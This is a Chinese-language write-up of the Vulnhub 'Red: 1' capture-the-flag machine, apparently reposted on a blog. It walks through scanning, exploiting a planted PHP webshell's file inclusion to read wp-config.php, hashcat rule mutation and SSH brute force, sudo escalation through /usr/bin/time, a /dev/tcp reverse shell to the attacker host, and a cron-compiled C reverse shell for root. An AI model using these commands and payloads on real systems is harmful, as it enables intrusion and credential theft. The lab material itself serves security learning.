Vulnhub 靶場 Red: 1


前期准備:

Reb:1 靶機下載地址:https://www.vulnhub.com/entry/red-1,753/

kali攻擊機地址:10.0.2.7
靶機地址:10.0.2.9

一、信息收集

1.使用 nmap 對靶機進行端口掃描

nmap -p 1-65535 -A -sV 10.0.2.9

image

發現開放了22和80端口。訪問一下80端口:

image

2.收集頁面信息

發現是個 Wordpress 網站,但是沒有正確解析,點擊 Hello Blue 發現無法訪問

image

並且返回 redrocks.win 的域名,並且源碼中也發現了 redrocks.win 的主機名:

image

將其添加到主機文件中:

image

再次訪問:

image

二、 Blue 奪回 root

1.查找后門

根據頁面信息看到網站已經被入侵,並且提到有后門,看了其他的地方暫時也沒發現什么,那就先看一下后門,因為 WordPress 在 Apache PHP 上運行。所以應該是 php 后門,用目錄掃描看看能不能掃出疑似后門的文件,所以用 SecLists 里的 CommonBackdoors-PHP.fuzz.txt 掃。
下載地址:https://github.com/danielmiessler/SecLists

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir80.txt -z

image

發現可疑文件 NetworkFileManagerPHP.php:

image

搜索了一下發現是個 webshell 后門,掃描結果狀態碼是 500,這個腳本可能存在 LFI ,使用 wfuzz 測試一下參數:

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

image

發現key參數返回200,那就使用key參數測試一下:

image

測試成功。說明有文件包含。那接下來查看一下 NetworkFileManagerPHP.php 文件:

image

解碼得:

image

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

對注釋解碼:

image

That password alone won't help you! Hashcat says rules are rules
僅憑那個密碼對您沒有幫助! Hashcat 說規則就是規則

2.破解密碼

提到了密碼、Hashcat 和規則。由於它是 base64 編碼的,我們可以假設 Red 在談論 Hashcat 的 Best64 規則為密碼突變,想到的這里大概能獲取 wp-config 文件,里面有數據庫的密碼:

image

base64解碼一下:

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

'DB_USER', 'john'
'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!'

用戶名是john,前面查看 /etc/passwd 文件時發現也有john用戶,那就用這個用戶登錄 ssh:

image

將密碼保存到文件中,然后用 hashcat 規則破解:

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

image

使用解出來的密碼本進行ssh爆破:

image

得到了密碼 R3v_m4lwh3r3_k1nG!!6

3.ssh登錄

image

登陸成功。查看一下文件:

家目錄下發現一個 note_from_red.txt,查看時發現 cat 命令成了 vi,vi 命令成了 cat:

image

提示也說了 cat 命令有問題。查看一下權限:

image

發現會以 ippsec 用戶 執行 /usr/bin/time:

image

嘗試用 time 提權:

image

提權成 ippsec 用戶:

sudo -u ippsec /usr/bin/time /bin/bash

image

切換成功,查看目錄發現正准備下一步時 ssh 連接被斷開了:

image

被踢出來了,再次嘗試登錄發現密碼變了,還需要再次爆破,聯想剛才 ssh 連接斷開,這次進去創建個反彈 shell,

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.0.2.7/1234 0>&1'

在靶機上創建一個shell.sh,並運行,kali上開啟監聽:

image

shell 連接成功,升級一下 shell

1. 在 /dev/shm 目錄中創建一個反向 shell bash 腳本
2. 在 kali 上運行 `nc -lvvp 1234` 和 執行 shell 腳本
3. `python3 -c 'import pty;pty.spawn("/bin/bash")'`
4. `export TERM=xterm` 然后 Ctrl+Z 退出來一下
5. `stty raw -echo;fg` 回車后輸入 reset 再回車

image

三、提權

雖然 Red team 的信息還在彈,但是已經不會被斷開連接了。下載並運行 pspy64s 檢查,看看系統在跑哪些進程。下載pspy64s,賦權並運行:

image

image

這應該是他對系統的后門,查看一下這個 supersecretfileuc.c 文件:

image

image

發現是定時彈出的腳本,可以上傳一個 C 編寫 shell,替代 supersecretfileuc.c 文件,然后等待 shell 連接:

先刪除 /var/www/wordpress/.git/supersecretfileuc.c 和 rev 文件:

image

寫入 C 編寫的 shell 替換掉原來的 supersecretfileuc.c,kali 上開啟 http 服務上傳:

image

稍作改動: execve("sh", argv, NULL); 改成 execve("/bin/bash", argv, NULL);

image

靶機獲取文件:

wget http://10.0.2.7:8000/supersecretfileuc.c

image

上傳成功,nc 監聽:

image

等了一會,nc 連接成功,獲取到 root 權限,查看 flag:

image

完成。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM